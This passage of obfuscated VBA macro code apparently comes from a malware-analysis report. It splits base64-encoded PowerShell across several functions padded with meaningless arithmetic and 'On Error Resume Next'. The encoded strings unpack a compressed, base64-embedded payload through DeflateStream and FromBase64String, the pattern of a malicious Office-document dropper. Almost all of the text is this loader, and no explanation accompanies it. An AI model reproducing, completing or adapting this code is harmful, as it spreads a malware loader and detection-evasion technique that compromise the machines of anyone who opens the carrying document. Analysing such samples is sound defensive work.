XOBBChvqbpN = "GMAdAAgACAAUwB" + "5AFMAdABF" + "AE0ALgBJA" + "E8ALgBDAG8" + "ATQBwAFIAZQBzA" + "HMASQB" + "vAG4ALgB" + "EAEUAZgBMA"
KGFsQw = CStr(YhPlQ * Tan(RwvKHw * Int(uoTkM * Sqr(26523) / GoqNk + Fix(24682)) / 12751 * Round(31143 / Log(6828 - CiPlJ) + 28620 - pNRiY)) / 27886 + CByte(73894))
IaDFdtzVJ = "GEAdABlAFMAVAB" + "yAGUAYQBNA" + "CgAIABbAGkATwAu" + "AG0ARQBNA" + "G8AUgBZAHMAdA" + "ByAGUAQQBtAF0A"
uvfjpiAWdts = wwOowzbciwi + OHziWiujwls + lSUCoEzt + ASTwlGYAbO + AnCQz + nBqQdjVvzVo + PbjMfUA + XOBBChvqbpN + IaDFdtzVJ
End Function
Function YajlzbwFo()
On Error Resume Next
wRwWnU = CStr(CiSkrB * Tan(DlBui * Int(dhRlZ * Sqr(11357) / wvnhaD + Fix(74637)) / 77774 * Round(91449 / Log(14901 - QrWbkS) + 49775 - LpKjc)) / 57114 + CByte(61214))
TsQazzGIw = "WwBDAE8ATgBWAG" + "UAcgB0AF0AOgA6" + "AGYA" + "cgBP" + "AG0AYgBBAHMARQ" + "A2ADQAc" + "wBUAHIASQBOAGcA" + "KAAn" + "AFYAWgBCAGg" + "AVAA4AE"
zPzNwh = CStr(hGrkJ * Tan(OLHdHi * Int(lCwzLC * Sqr(88873) / nPKDu + Fix(47948)) / 79181 * Round(48214 / Log(92228 - ziSpUs) + 64981 - iwdCD)) / 42030 + CByte(98200))
ERuET = "kAdwBFAEkAY" + "gAvAFMAagA" + "4AHMARwBVA" + "FIAbwBrAFUAU" + "gBGAEYAaABOA" + "EEAQgBVAF" + "EAU" + "gA" + "0AG8AeAA4AE" + "0AV"
tvSACt = CStr(UtrhjP * Tan(ZmLjJ * Int(YvhDRv * Sqr(38548) / ckMoEF + Fix(60280)) / 87944 * Round(12066 / Log(91192 - EvwvcL) + 1667 - TXqrT)) / 24246 + CByte(6549))
WdbAJ = "ABGAGQATwBiA" + "GEATwByAFYA" + "MgA2AFkAeABzAFE" + "ALwB"
zNPjH = CStr(psIfs * Tan(KkfjQs * Int(zazEr * Sqr(31550) / Aaltsb + Fix(2786)) / 78679 * Round(64468 / Log(61673 - MjiGFn) + 96099 - YqjrK)) / 51640 + CByte(52027))
IclntwjMMSA = "yAH" + "QAVgB" + "rAE0AU" + "QB2AGwAOQB3ADkA" + "NwA1AHYAMwA" + "3AHAAeABGAC" + "sAVAB" + "BAE4AeQBCADE" + "AUg" + "BVAEQAWgAxAEUAS"
DpzIX = CStr(MYPGO * Tan(QaVCzp * Int(IatUM * Sqr(13134) / rERjb + Fix(36447)) / 34498 * Round(38945 / Log(95878 - jXTtWF) + 82087 - YLCwVj)) / 83160 + CByte(39774))
ZbdjtKBA = "QBOAEEAWQ" + "ByAGgAYQA2AHQA" + "UgB" + "6AEIAcgB0ACsAV" + "QBmAHgASAAvAGo" + "AWgBIAFMATwBrAH" + "IASQBGAD"
ShJVl = CStr(wbIHj * Tan(vUwcWS * Int(VKlUDV * Sqr(75743) / WtjkrG + Fix(92849)) / 99194 * Round(74951 / Log(76841 - zVUSOw) + 19980 - drFVw)) / 26543 + CByte(27980))
JHqQQQEwNA = "EAQQBjAEoAO" + "QBJAFUATwBnADU" + "AbQA" + "5AEgAWQBIADYANg" + "B0ADAA" + "bwAwAFEAcwB"
LjMGzw = CStr(chZWo * Tan(zUJos * Int(HAsXW * Sqr(85803) / KDQYk + Fix(44034)) / 56448 * Round(14754 / Log(70220 - ahizO) + 85542 - obVudX)) / 92450 + CByte(62612))
KHhirAB = "5ADUAagBJAGE" + "AUQBCAHAAMABM" + "AFQATw" + "BHAE8AQQ" + "A4AFMAUQBjACsAb" + "gBuAEIAZQBpAGU"
sHzSI = CStr(OwoELJ * Tan(zLROBj * Int(OVtII * Sqr(67964) / WGjfUr + Fix(56827)) / 58150 * Round(42947 / Log(18765 - KjSfL) + 18972 - azcKdP)) / 42388 + CByte(24312))
DAXdz = "ANgBnAGsAUg" + "BXA" + "EcAM" + "AB1AEYAVAB0AGwA" + "TAA1ADYAbwAxAGE" + "AY" + "gBYAFAARQB" + "IAF"
sXNpK = CStr(wrrHY * Tan(SLVoHz * Int(AoiKjb * Sqr(65515) / SLdRJH + Fix(36028)) / 70903 * Round(13839 / Log(16981 - Hlmbo) + 6589 - pInGWV)) / 34162 + CByte(60403))
Hvwkps = "gASwBLAHgAcQB0A" + "DIAVABXAF" + "AAUgA5AHUAdwBjA" + "HcAW" + "gB4AFYASABDADE" + "AaABrADA" + "AQwBpAHEAcQ" + "BFAG" + "oAYwBZAEQAcwBW"
YajlzbwFo = TsQazzGIw + ERuET + WdbAJ + IclntwjMMSA + ZbdjtKBA + JHqQQQEwNA + KHhirAB + DAXdz + Hvwkps
End Function
Function wCvZoWEMNWl()
On Error Resume Next
jKMdN = CStr(pifOqO * Tan(zaOfnp * Int(NNtGw * Sqr(73219) / wLpHz + Fix(58088)) / 91073 * Round(67130 / Log(50489 - iGfwIv) + 50881 - WGIMs)) / 81409 + CByte(66773))
oMHGnPs = "AHUAMgA1" + "ACsAb" + "wBz" + "AEUAQQBrADMA" + "dgBGAGwASwB" + "oAF"
azVRFf = CStr(CsSqGr * Tan(nQATAj * Int(IESTu * Sqr(53461) / QjTzYX + Fix(7493)) / 92303 * Round(24849 / Log(17558 - zicDpE) + 37812 - lSsMY)) / 79655 + CByte(3909))
WsOSSa = "cAQwBRAGgAMwB" + "RAEoATABIADEA" + "NwBqA" + "GcAdgBOAFgATw" + "BwAG4AaQBj" + "AFMAYQAyAD" + "MAUA" + "ByAG4A" + "aQBP"
RuDwL = CStr(wlJzr * Tan(TjrDrf * Int(BiFPN * Sqr(98795) / pMYXv + Fix(18689)) / 43406 * Round(12633 / Log(73638 - JLcvi) + 82250 - qNlBFa)) / 78529 + CByte(40082))
uzFENiwnJG = "AHkAY" + "wBqAFoANwBzAHQ" + "AcwA2AH" + "YANwBkAFQAQgB" + "SAFgAV" + "wBMAGgAdQBrADAA"
nAiMip = CStr(nNjNmE * Tan(LNuquj * Int(FTrKZ * Sqr(1225) / WkmjC + Fix(4509)) / 41912 * Round(42997 / Log(45573 - WUMph) + 99372 - IlfZoK)) / 70390 + CByte(90040))
zlGkdiEj = "NwA" + "2ADkAYQBWAG0A" + "dQBOAH" + "gAOQBpACsAbwBO" + "AEIARgBW"
qihrBF = CStr(kQczij * Tan(LppUT * Int(UNXTO * Sqr(4636) / UohaBo + Fix(26870)) / 23614 * Round(76378 / Log(79151 - YQfbYF) + 5066 - YjTkzp)) / 32523 + CByte(40462))
QSdquvvSnh = "ADE" + "ANwBiAFUAWQB1A" + "GkAUAB2AHAAMgB2" + "AH"
cKNdz = CStr(TwjCv * Tan(VpYAJw * Int(usoSQ * Sqr(29012) / DBDhkk + Fix(37661)) / 87710 * Round(68412 / Log(56951 - DYwLip) + 5115 - JDuvk)) / 81907 + CByte(86888))
Itcpbjjrz = "AAbgB0AFQAMgB" + "GA" + "EMAbAB4AHY" + "AcABRADEAdwBFAG" + "QAVQBjAEwAaAAr"
aborz = CStr(VOStB * Tan(KVcGu * Int(GXDiN * Sqr(97857) / JFaJF + Fix(36668)) / 83462 * Round(83473 / Log(43055 - RvmioD) + 70616 - lokwnb)) / 77304 + CByte(2327))
LiwklFqh = "AHgAV" + "AA2AFEAaQBwAD" + "EAL" + "wB" + "VA" + "DkAMgBp" + "ADI" + "AKwArAE0ASA" + "A2AF" + "kA"
wCvZoWEMNWl = oMHGnPs + WsOSSa + uzFENiwnJG + zlGkdiEj + QSdquvvSnh + Itcpbjjrz + LiwklFqh
End Function
Function nvAHtOK()
On Error Resume Next
kVKsN = CStr(anIvEN * Tan(JaodKK * Int(uRUTp * Sqr(54295) / fNRzV + Fix(7992)) / 14295 * Round(13199 / Log(42639 - ADGLq) + 61809 - ffLfK)) / 14419 + CByte(20469))
OYcjFPEUjz = "TQB1AFYA" + "YQBMADUAYwBpA" + "GcAVA" + "BPAEUAbgBwAHU" + "ALwBiAFIAUwBCA" + "Fg" + "AV"
dtQTA = CStr(ClfvZq * Tan(jJSCEc * Int(GEwElN * Sqr(75197) / QfUGH + Fix(66275)) / 83926 * Round(21217 / Log(81652 - VUzSbQ) + 32064 - MwWscG)) / 59299 + CByte(65724))
OiMwiBcWq = "wA2AGcAMQB5AF" + "QASwB4ADcAUAB" + "uAEsARAB6AGIAb" + "gBSAEE" + "AdgBMAD" + "gATgBQAFUAQw"
ZwMin = CStr(sUzaT * Tan(NrwcPi * Int(iodjn * Sqr(92125) / qnYCO + Fix(52342)) / 47909 * Round(45959 / Log(35215 - dFiQF) + 94460 - pwFwEY)) / 31596 + CByte(25137))
chiUVzYIHOn = "BtADcARAAyAEQA" + "bwBL" + "AGoAaQBQAGEAbAB" + "rAFEAagBOAFMATw" + "BkAEkAbgBDAC8" + "ANgBX"
WDWwQ = CStr(mmNFw * Tan(LsKpZj * Int(JzrZrB * Sqr(82806) / qCmPHp + Fix(82564)) / 8741 * Round(40832 / Log(3154 - wDSwC) + 99754 - idEuJ)) / 59405 + CByte(78105))
WAVwSUbQt = "AE" + "EAbgBJAFU" + "AR" + "wBwAE"
DYiif = CStr(Yivkbq * Tan(HUopnD * Int(urDpZq * Sqr(45075) / mwsHa + Fix(80820)) / 74318 * Round(36272 / Log(49738 - WbZUXM) + 52309 - LWIPE)) / 41480 + CByte(52522))
MWNOXF = "YAcAA5A" + "GIAQQBRAC8AQQBP" + "AGgAMgA4" + "AD0AJwApACAA" + "LABbAHM"
WLUpE = CStr(XLwzrU * Tan(zUBOw * Int(cLZTr * Sqr(27380) / fAEWr + Fix(44833)) / 61634 * Round(44440 / Log(36884 - wkliEN) + 47079 - VHtMC)) / 13362 + CByte(3085))
hWANAvLc = "AeQBTAFQAZQB" + "tAC4ASQBPAC4AYw" + "BvAE0AUABSAEU" + "AcwBTAGk" + "AbwBuAC4AYw"
Ezrws = CStr(bpIWHZ * Tan(Tnsfu * Int(dNiXz * Sqr(2743) / VHVTwz + Fix(40479)) / 73466 * Round(36469 / Log(63330 - WiUJwZ) + 64601 - wQBTB)) / 61958 + CByte(15468))
lEfbA = "BvAG0A" + "UABSAGU" + "AUwBzAEkAT" + "wBuAE0AbwBkAGU"
XsVbt = CStr(vHTToY * Tan(EVAHN * Int(LjUQJ * Sqr(81537) / CfUnUn + Fix(81551)) / 89054 * Round(94473 / Log(87771 - FlamMp) + 56210 - JwtuAM)) / 77168 + CByte(43359))
WLoWTJlButq = "AXQ" + "A6A" + "DoAZABlAEMAbwBt" + "AFAAcgBFAFMA" + "cwAg" + "ACkAKQAgACwA" + "IA" + "BbAHQAZQBY" + "AFQALgBFAG4AYw"
TDcMkC = CStr(QnjwBh * Tan(HbDBb * Int(YWinYj * Sqr(88668) / kTbjQ + Fix(88240)) / 50736 * Round(87072 / Log(33665 - VihWZJ) + 58269 - bhmTzL)) / 23792 + CByte(76117))
BodVkRZQ = "Bv" + "AEQAS" + "QBuAGcAXQA6AD" + "oAY" + "QBTAEMA" + "SQBpAC" + "kAIAApA" + "C4Ac"
zZooD = CStr(jfTES * Tan(npOKSj * Int(BCwUIo * Sqr(10197) / WRWQT + Fix(56181)) / 42828 * Round(55602 / Log(38210 - wRZzrG) + 9318 - wnsXI)) / 58981 + CByte(59349))
uZIrlNj = "gBFAGEAZ" + "AB0AG8AZ" + "QBuAEQAKAA" + "gACkA"
nvAHtOK = OYcjFPEUjz + OiMwiBcWq + chiUVzYIHOn + WAVwSUbQt + MWNOXF + hWANAvLc + lEfbA + WLoWTJlButq + BodVkRZQ + uZIrlNj
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.